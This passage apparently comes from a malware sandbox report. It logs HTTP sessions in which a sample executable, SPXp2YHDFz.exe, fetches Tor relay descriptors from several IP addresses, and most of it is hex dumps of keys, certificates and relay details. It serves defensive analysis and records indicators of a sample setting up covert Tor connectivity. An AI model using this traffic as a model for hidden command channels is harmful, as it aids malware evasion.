KEY-----MIGJAoGBAM5zkrZKfLAeZbg66qqM4iKjxPLTMiWtfPho6Zh6/B5v0j4+exnyrwvpVcXNP0aad1s8tJOKz3enIXTTHDMMUALuafvNqY7g1lhvaANgSwvmCcmywJwWhWXoTMa4bLXKMzTXCrovK5zy/+TZNu0J+nKJq/ANWnav2qgUvq8NCLddAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAO5qP24jXlv8tuc5Mnf
Oct 24, 2022 11:11:36.826297998 CEST	7752	IN	Data Raw: 63 34 73 63 56 33 68 4b 70 5a 36 58 57 66 47 34 34 33 6a 77 33 35 46 49 4c 47 4b 4a 64 48 49 7a 30 35 45 36 64 0a 44 35 59 71 4e 45 73 74 5a 55 6b 69 42 39 31 73 36 4a 77 65 4a 6d 72 4d 30 75 61 50 6d 49 7a 58 57 7a 46 4e 6b 62 77 66 6e 52 67 62 Data Ascii: c4scV3hKpZ6XWfG443jw35FILGKJdHIz05E6dD5YqNEstZUkiB91s6JweJmrM0uaPmIzXWzFNkbwfnRgb4MgUPRLfOfKu6DHOJKOs6Dl00hFvMlwCBM5EbCQ+MRmbrGk4IIJhMYZamOzh14ArAWB3G9KPAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT-----n0Vk
Oct 24, 2022 11:11:36.826320887 CEST	7752	IN	Data Raw: 73 61 6b 61 65 2e 63 6f 6d 3e 0a 6e 74 6f 72 2d 6f 6e 69 6f 6e 2d 6b 65 79 20 4a 66 74 74 4c 4a 62 62 41 63 46 71 33 53 6c 48 4e 4b 52 39 65 68 6c 44 74 38 67 72 6d 42 48 2f 34 69 30 62 4c 48 70 38 50 58 59 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 72 Data Ascii: sakae.com>ntor-onion-key JfttLJbbAcFq3SlHNKR9ehlDt8grmBH/4i0bLHp8PXYreject :router-sig-ed25519 b4BlaH/N/mOeR8FJ22IiLyzgya4B4ZNpZNErhDZsCiTc7v+SJv7OAXkRN+dUMfFT0nBCv3vHMZuBRt9qlx40BQrouter-signature-----BEGIN SIGNATURE-----VFbii7CfMwGi8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	49729	185.189.112.162	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:11:37.431463957 CEST	7754	OUT	GET /tor/server/fp/215e661619cda14e354335f81c9a475f78f1cd8a HTTP/1.0 Host: 185.189.112.162 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:11:37.449016094 CEST	7755	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:11:37 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:11:37 GMT Data Raw: 72 6f 75 74 65 72 20 72 65 64 32 32 20 31 37 32 2e 31 30 35 2e 34 37 2e 39 36 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 49 37 41 53 6c 6e 34 32 68 53 4d 6e 38 51 77 67 69 62 53 6c 35 53 78 37 50 71 55 4c 74 4c 79 56 52 64 79 52 35 41 78 39 38 56 58 36 57 4e 41 51 41 67 42 41 43 78 57 48 73 4d 0a 78 70 6d 69 55 6b 78 55 59 46 4a 57 6d 47 77 6f 78 54 68 5a 75 50 43 34 7a 46 67 2f 37 2b 50 33 35 65 6d 37 76 4f 7a 4d 51 31 34 2b 44 34 38 6e 62 57 33 68 71 53 68 46 73 6d 53 4c 61 47 62 6b 0a 6f 4d 4a 53 6c 58 69 78 61 55 6b 53 59 4b 47 38 33 55 35 38 78 37 67 69 38 43 79 6e 51 55 56 39 68 51 4c 68 33 59 6e 52 4b 34 6c 37 67 6e 42 58 32 50 45 2f 76 64 75 4d 34 77 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 73 56 68 37 44 4d 61 5a 6f 6c 4a 4d 56 47 42 53 56 70 68 73 4b 4d 55 34 57 62 6a 77 75 4d 78 59 50 2b 2f 6a 39 2b 58 70 75 37 77 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 30 3a 35 31 3a 34 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 32 31 35 45 20 36 36 31 36 20 31 39 43 44 20 41 31 34 45 20 33 35 34 33 20 33 35 46 38 20 31 43 39 41 20 34 37 35 46 20 37 38 46 31 20 43 44 38 41 0a 75 70 74 69 6d 65 20 35 34 36 31 33 33 30 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 32 34 34 37 37 31 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 41 44 31 42 44 37 43 46 34 31 36 41 41 37 35 32 38 32 35 41 45 30 38 32 39 43 35 36 46 38 46 39 39 30 38 34 45 36 33 45 20 4f 5a 38 33 48 4c 2b 4b 36 33 4e 62 5a 2f 76 58 39 36 57 4d 64 2b 56 5a 69 74 43 4a 6c 53 75 71 6b 68 62 51 53 6c 54 6a 70 42 41 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 57 52 32 2f 62 6e 77 72 38 6b 5a 4e 37 62 47 51 78 5a 62 69 43 2b 35 45 50 71 54 36 39 41 38 45 4f 68 4f 51 6d 56 6c 72 75 43 73 33 65 33 78 6b 6c 61 49 36 67 39 0a 6a 59 37 78 5a 4e 68 38 38 52 54 61 63 5a 65 4f 56 66 4f 4a 63 6d 6c 56 77 6f 32 69 74 6e 64 4f 46 51 70 78 68 48 67 62 31 6c 57 32 75 56 66 2b 4a 67 49 5a 6a 71 6c 62 69 7a 74 30 66 78 4c 44 0a 44 30 2b 75 4f 70 32 51 35 52 43 6f 4f 4d 58 50 4d 74 43 6c 6f 67 45 7a 51 65 55 6c 41 46 4b 35 5a 79 49 75 32 65 41 57 45 4c 66 39 79 6d 73 63 4e 6c 38 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 4f 63 4c 51 59 4f 43 Data Ascii: router red22 172.105.47.96 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxI7ASln42hSMn8QwgibSl5Sx7PqULtLyVRdyR5Ax98VX6WNAQAgBACxWHsMxpmiUkxUYFJWmGwoxThZuPC4zFg/7+P35em7vOzMQ14+D48nbW3hqShFsmSLaGbkoMJSlXixaUkSYKG83U58x7gi8CynQUV9hQLh3YnRK4l7gnBX2PE/vduM4w4=-----END ED25519 CERT-----master-key-ed25519 sVh7DMaZolJMVGBSVphsKMU4WbjwuMxYP+/j9+Xpu7wplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 20:51:47fingerprint 215E 6616 19CD A14E 3543 35F8 1C9A 475F 78F1 CD8Auptime 5461330bandwidth 1073741824 1073741824 22447718extra-info-digest AD1BD7CF416AA752825AE0829C56F8F99084E63E OZ83HL+K63NbZ/vX96WMd+VZitCJlSuqkhbQSlTjpBAonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALWR2/bnwr8kZN7bGQxZbiC+5EPqT69A8EOhOQmVlruCs3e3xklaI6g9jY7xZNh88RTacZeOVfOJcmlVwo2itndOFQpxhHgb1lW2uVf+JgIZjqlbizt0fxLDD0+uOp2Q5RCoOMXPMtClogEzQeUlAFK5ZyIu2eAWELf9ymscNl8NAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALOcLQYOC
Oct 24, 2022 11:11:37.449049950 CEST	7756	IN	Data Raw: 36 50 2b 4d 7a 33 33 52 4e 68 78 49 72 77 59 31 70 54 6b 73 45 68 32 5a 36 31 53 32 61 72 70 4c 32 6f 50 4e 65 58 2f 62 41 6e 42 77 4f 55 34 0a 59 4f 43 49 6b 46 6a 62 31 6a 53 71 67 4a 30 31 48 72 68 6d 38 44 75 36 51 6b 33 69 6f 4e 33 44 57 4a Data Ascii: 6P+Mz33RNhxIrwY1pTksEh2Z61S2arpL2oPNeX/bAnBwOU4YOCIkFjb1jSqgJ01Hrhm8Du6Qk3ioN3DWJnGnLuNx/lVjpqy8Jd+WIS4YPWehYbIoih3oDOSIUXNytMoUthgF0XMhjyKCtbmh9ZS+hMJbONQ003XHIojAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN CROSSCERT
Oct 24, 2022 11:11:37.449074030 CEST	7757	IN	Data Raw: 37 38 46 31 43 44 38 41 20 24 33 30 35 31 34 35 34 43 44 41 39 41 30 36 34 32 38 38 33 30 46 31 32 37 44 44 46 32 39 44 39 30 39 38 41 37 46 42 35 43 20 24 44 38 32 42 31 34 37 37 31 38 33 45 30 37 39 31 35 41 43 42 41 30 37 32 35 30 33 37 34 33 Data Ascii: 78F1CD8A $3051454CDA9A06428830F127DDF29D9098A7FB5C $D82B1477183E07915ACBA07250374303D93F0BC7hidden-service-dirntor-onion-key W+SX47AqBiBPJqjy3GDM1ohB3ddUDydHeXXJcnMo71creject :tunnelled-dir-serveroverload-general 1 2022-10-23 18:00:00r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49703	194.5.96.70	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:09.932550907 CEST	7596	OUT	GET /tor/server/fp/32828476f4f84e15c42b4c360a5cd8de4c3c2be7 HTTP/1.0 Host: 194.5.96.70 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:10.001878023 CEST	7597	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:09 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:09 GMT Data Raw: 72 6f 75 74 65 72 20 52 68 65 61 20 31 30 34 2e 31 33 31 2e 31 31 2e 32 31 34 20 38 30 38 30 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 46 35 41 59 42 6f 2b 58 53 61 6b 69 51 35 6d 6c 74 73 63 32 51 7a 6f 4d 50 37 2f 45 2f 57 71 73 39 64 53 6d 33 38 50 59 74 6a 35 38 45 44 41 51 41 67 42 41 43 41 42 67 56 51 0a 71 4a 5a 30 64 50 75 77 4f 36 74 69 58 51 69 49 4e 78 54 7a 5a 35 51 50 55 47 67 6f 4a 63 53 59 67 5a 79 39 74 59 59 67 2f 51 37 78 43 74 35 6c 61 4d 72 32 77 75 78 33 42 32 33 51 72 6d 33 64 0a 78 56 33 65 71 68 48 45 66 36 61 42 30 47 78 51 53 76 48 68 64 52 47 37 2f 37 42 4a 2b 35 73 50 72 55 61 49 73 76 44 69 6e 62 66 61 38 61 62 70 38 48 43 4d 53 36 4e 6c 6d 51 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 67 41 59 46 55 4b 69 57 64 48 54 37 73 44 75 72 59 6c 30 49 69 44 63 55 38 32 65 55 44 31 42 6f 4b 43 58 45 6d 49 47 63 76 62 55 0a 6f 72 2d 61 64 64 72 65 73 73 20 5b 32 36 30 34 3a 61 38 38 30 3a 38 30 30 3a 31 30 3a 3a 31 30 34 3a 39 30 30 31 5d 3a 38 30 38 30 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 31 34 3a 32 34 3a 30 39 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 33 32 38 32 20 38 34 37 36 20 46 34 46 38 20 34 45 31 35 20 43 34 32 42 20 34 43 33 36 20 30 41 35 43 20 44 38 44 45 20 34 43 33 43 20 32 42 45 37 0a 75 70 74 69 6d 65 20 36 34 38 30 34 0a 62 61 6e 64 77 69 64 74 68 20 33 38 39 31 32 30 20 34 30 39 36 30 30 20 33 36 36 35 39 32 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 39 33 32 39 35 45 32 36 33 39 32 35 33 46 35 36 34 45 31 38 39 39 35 31 45 42 36 43 33 31 36 41 34 32 43 41 43 31 46 43 20 31 69 4d 73 39 4f 63 6e 43 32 63 46 35 33 64 61 61 51 53 6d 6d 4f 61 5a 51 32 72 65 65 4d 43 55 61 4d 62 41 6b 75 61 4c 4b 41 77 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 6b 6b 30 6d 50 78 65 55 50 73 45 73 4e 62 51 4b 4e 42 70 65 50 69 64 61 56 39 75 75 47 72 4a 46 72 35 31 47 2f 4f 59 73 6a 37 42 56 4e 73 4d 39 45 6b 61 68 32 4d 0a 4a 54 2f 4f 71 74 4d 37 35 64 4d 6f 63 76 4b 48 48 62 74 33 70 57 4c 41 44 38 4b 4d 6f 51 32 59 4e 45 32 68 57 73 69 42 4a 4b 63 38 34 56 32 46 77 48 69 72 6c 31 4b 46 52 6a 31 45 68 43 79 4f 0a 65 58 67 4a 7a 65 4c 6f 74 38 5a 57 63 57 58 65 55 45 2b 6f 6b 38 53 66 4f 47 39 53 65 45 52 69 66 79 47 53 6b 51 48 30 31 54 6c 30 6b 61 37 30 6e 49 35 37 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 Data Ascii: router Rhea 104.131.11.214 8080 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxF5AYBo+XSakiQ5mltsc2QzoMP7/E/Wqs9dSm38PYtj58EDAQAgBACABgVQqJZ0dPuwO6tiXQiINxTzZ5QPUGgoJcSYgZy9tYYg/Q7xCt5laMr2wux3B23Qrm3dxV3eqhHEf6aB0GxQSvHhdRG7/7BJ+5sPrUaIsvDinbfa8abp8HCMS6NlmQo=-----END ED25519 CERT-----master-key-ed25519 gAYFUKiWdHT7sDurYl0IiDcU82eUD1BoKCXEmIGcvbUor-address [2604:a880:800:10::104:9001]:8080platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 14:24:09fingerprint 3282 8476 F4F8 4E15 C42B 4C36 0A5C D8DE 4C3C 2BE7uptime 64804bandwidth 389120 409600 366592extra-info-digest 93295E2639253F564E189951EB6C316A42CAC1FC 1iMs9OcnC2cF53daaQSmmOaZQ2reeMCUaMbAkuaLKAwonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBANkk0mPxeUPsEsNbQKNBpePidaV9uuGrJFr51G/OYsj7BVNsM9Ekah2MJT/OqtM75dMocvKHHbt3pWLAD8KMoQ2YNE2hWsiBJKc84V2FwHirl1KFRj1EhCyOeXgJzeLot8ZWcWXeUE+ok8SfOG9SeERifyGSkQH01Tl0ka70nI57AgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA
Oct 24, 2022 11:09:10.001921892 CEST	7598	IN	Data Raw: 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4e 55 39 77 77 45 4a 47 6e 62 67 47 36 78 55 45 53 31 7a 74 4a 38 33 2b 73 4e 55 4a 38 57 6b 44 43 51 61 54 32 33 78 35 77 6f 51 50 4d 76 66 54 46 64 32 51 71 2b 7a 0a 4e Data Ascii: PUBLIC KEY-----MIGJAoGBANU9wwEJGnbgG6xUES1ztJ83+sNUJ8WkDCQaT23x5woQPMvfTFd2Qq+zNlJ1Y9SstmlBI9MfVO8v9WAvZcywWt6GXxZwdFiAkDUrRMQSz6deWT3tLJ11cqf1vSgUYQ76POuZRQaRIIQGlFOd6j+oBQF8VDJUwlzYFYxaSO8OCb8jAgMBAAE=-----END RSA PUBLIC KEY-----onion-k
Oct 24, 2022 11:09:10.002732038 CEST	7598	IN	Data Raw: 73 65 72 76 69 63 65 2d 64 69 72 0a 63 6f 6e 74 61 63 74 20 72 68 65 61 40 6e 75 6c 6c 73 6b 79 2e 69 6e 66 6f 0a 6e 74 6f 72 2d 6f 6e 69 6f 6e 2d 6b 65 79 20 74 51 41 4d 32 48 67 41 37 6b 57 31 66 75 5a 42 5a 63 45 76 58 4a 7a 6e 6f 67 53 55 4d Data Ascii: service-dircontact rhea@nullsky.infontor-onion-key tQAM2HgA7kW1fuZBZcEvXJznogSUMyLAeaVDffHOs0Mreject :tunnelled-dir-serverrouter-sig-ed25519 KWchJ4Pv2iiLr9QVubqd89Y8YKWu4NCV5EGzWCj+P5lQq25DAuELWkBWGD5XNtWA6R851KlvWtFW0KWtx0PFDgrouter-s

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49706	185.35.202.222	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:14.501950026 CEST	7606	OUT	GET /tor/server/fp/df7868eaf856654e73e72f774bf3ce1fec5cb049 HTTP/1.0 Host: 185.35.202.222 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:14.543040991 CEST	7607	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:14 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Wed, 26 Oct 2022 09:09:14 GMT Data Raw: 72 6f 75 74 65 72 20 61 70 70 6c 65 73 61 6e 64 6f 72 61 6e 67 65 73 20 35 31 2e 38 31 2e 39 33 2e 31 34 35 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 43 7a 41 66 66 71 56 50 39 59 72 39 6b 34 6e 33 50 5a 45 35 56 51 6b 41 44 36 6a 34 31 39 65 4b 77 74 43 54 68 67 4d 56 46 70 42 70 50 54 41 51 41 67 42 41 42 43 65 34 62 7a 0a 65 4b 4c 76 4b 44 70 53 4a 68 78 36 6f 72 45 79 6a 73 57 2b 70 4f 57 77 75 79 48 72 6a 62 57 38 67 47 45 42 46 61 73 69 47 30 33 50 76 65 55 6d 6c 32 62 31 45 71 36 36 2b 70 79 62 37 59 75 61 0a 4c 70 56 75 6b 53 72 6f 38 39 4f 34 58 64 44 4c 44 6c 33 35 70 6d 61 63 4e 52 34 6e 4f 72 65 39 66 76 58 65 62 79 5a 36 57 38 6f 58 44 56 4e 57 75 34 32 79 43 59 2f 51 6b 41 34 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 51 6e 75 47 38 33 69 69 37 79 67 36 55 69 59 63 65 71 4b 78 4d 6f 37 46 76 71 54 6c 73 4c 73 68 36 34 32 31 76 49 42 68 41 52 55 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 32 2d 31 30 2d 32 33 20 32 30 3a 32 30 3a 32 30 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 44 46 37 38 20 36 38 45 41 20 46 38 35 36 20 36 35 34 45 20 37 33 45 37 20 32 46 37 37 20 34 42 46 33 20 43 45 31 46 20 45 43 35 43 20 42 30 34 39 0a 75 70 74 69 6d 65 20 35 34 31 38 30 38 39 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 33 37 34 31 38 32 34 20 31 30 37 33 37 34 31 38 32 34 20 32 36 31 31 34 38 31 34 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 45 33 31 39 32 36 44 32 35 41 41 38 43 31 30 34 30 36 34 33 35 46 32 39 30 35 37 41 39 31 33 45 34 46 34 36 42 42 44 45 20 73 59 34 47 57 41 59 4c 32 4c 39 6c 6a 59 58 76 52 6d 55 4f 5a 6a 63 67 64 6a 62 47 35 50 4b 45 79 42 7a 6f 59 6d 6f 66 32 6d 77 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 68 4e 58 73 36 50 42 76 49 51 62 6c 48 36 54 49 79 2b 78 71 72 61 78 66 67 36 48 42 2f 4d 72 61 73 44 58 6c 65 62 6b 53 63 57 59 36 55 31 73 79 2f 4c 6c 65 31 45 0a 32 31 54 6c 2f 73 2f 55 77 44 4c 4f 39 53 4f 63 42 61 77 66 66 49 4a 32 73 46 66 4d 74 73 49 64 4c 2f 7a 6a 50 4e 61 38 34 73 69 79 69 2f 52 5a 4d 65 58 4d 42 34 4b 63 4f 79 2f 2f 44 68 4b 76 0a 63 53 61 72 57 48 39 39 58 33 39 7a 46 6b 2f 34 78 2b 64 79 4d 77 63 4c 63 2f 34 7a 68 42 73 37 75 44 43 6c 4d 39 69 57 31 51 64 4c 6c 5a 4a 49 69 31 6b 64 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 Data Ascii: router applesandoranges 51.81.93.145 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxCzAffqVP9Yr9k4n3PZE5VQkAD6j419eKwtCThgMVFpBpPTAQAgBABCe4bzeKLvKDpSJhx6orEyjsW+pOWwuyHrjbW8gGEBFasiG03PveUml2b1Eq66+pyb7YuaLpVukSro89O4XdDLDl35pmacNR4nOre9fvXebyZ6W8oXDVNWu42yCY/QkA4=-----END ED25519 CERT-----master-key-ed25519 QnuG83ii7yg6UiYceqKxMo7FvqTlsLsh6421vIBhARUplatform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2022-10-23 20:20:20fingerprint DF78 68EA F856 654E 73E7 2F77 4BF3 CE1F EC5C B049uptime 5418089bandwidth 1073741824 1073741824 26114814extra-info-digest E31926D25AA8C10406435F29057A913E4F46BBDE sY4GWAYL2L9ljYXvRmUOZjcgdjbG5PKEyBzoYmof2mwonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMhNXs6PBvIQblH6TIy+xqraxfg6HB/MrasDXlebkScWY6U1sy/Lle1E21Tl/s/UwDLO9SOcBawffIJ2sFfMtsIdL/zjPNa84siyi/RZMeXMB4KcOy//DhKvcSarWH99X39zFk/4x+dyMwcLc/4zhBs7uDClM9iW1QdLlZJIi1kdAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoG
Oct 24, 2022 11:09:14.543060064 CEST	7608	IN	Data Raw: 42 41 4e 41 54 4a 4a 44 67 4d 4e 4e 41 77 4b 77 31 52 41 62 66 67 34 6f 7a 76 55 76 42 42 42 2f 39 7a 55 6b 31 36 4e 7a 6a 54 71 34 44 4d 4e 31 73 75 6e 79 75 32 59 2b 66 0a 47 35 68 70 79 41 69 42 65 38 4c 53 70 4b 37 2f 75 42 67 73 73 69 32 64 Data Ascii: BANATJJDgMNNAwKw1RAbfg4ozvUvBBB/9zUk16NzjTq4DMN1sunyu2Y+fG5hpyAiBe8LSpK7/uBgssi2dpZWwsHDYDdw99CmfaGaRt9Mb4T5rCvCBvb+LfR/Ti+quo7oTDgHe7SaINsZjnaIRssN7p00nb1ZlOzhDyL18jaWXnyZbAgMBAAE=-----END RSA PUBLIC KEY-----onion-key-crosscert-----BEGIN
Oct 24, 2022 11:09:14.543075085 CEST	7608	IN	Data Raw: 6b 65 79 20 39 50 32 53 54 49 57 56 36 53 64 37 30 63 6c 53 30 54 64 50 6b 56 5a 52 47 51 6f 53 62 59 69 61 36 76 32 34 70 65 77 34 6e 79 77 0a 72 65 6a 65 63 74 20 2a 3a 2a 0a 74 75 6e 6e 65 6c 6c 65 64 2d 64 69 72 2d 73 65 72 76 65 72 0a 6f 76 Data Ascii: key 9P2STIWV6Sd70clS0TdPkVZRGQoSbYia6v24pew4nywreject :tunnelled-dir-serveroverload-general 1 2022-10-23 18:00:00router-sig-ed25519 9GfS7xGhg2LFJvsTaCcjYLGJLL//rxwfKN10rAqLFdqTJF9YEF74lbaVXkoerzKv3ynOitP2WCP4pvPTbb1FCwrouter-signature-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49708	92.222.79.186	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
